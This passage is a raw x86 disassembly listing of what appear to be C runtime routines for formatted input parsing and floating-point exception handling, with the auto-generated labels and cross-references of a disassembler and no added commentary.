		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9C8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBD4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBD4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBD4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBD4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBD4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9C8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBD4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9C8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D340, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB948, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D340, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2680369h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF40
		fnstsw	ax
		sahf
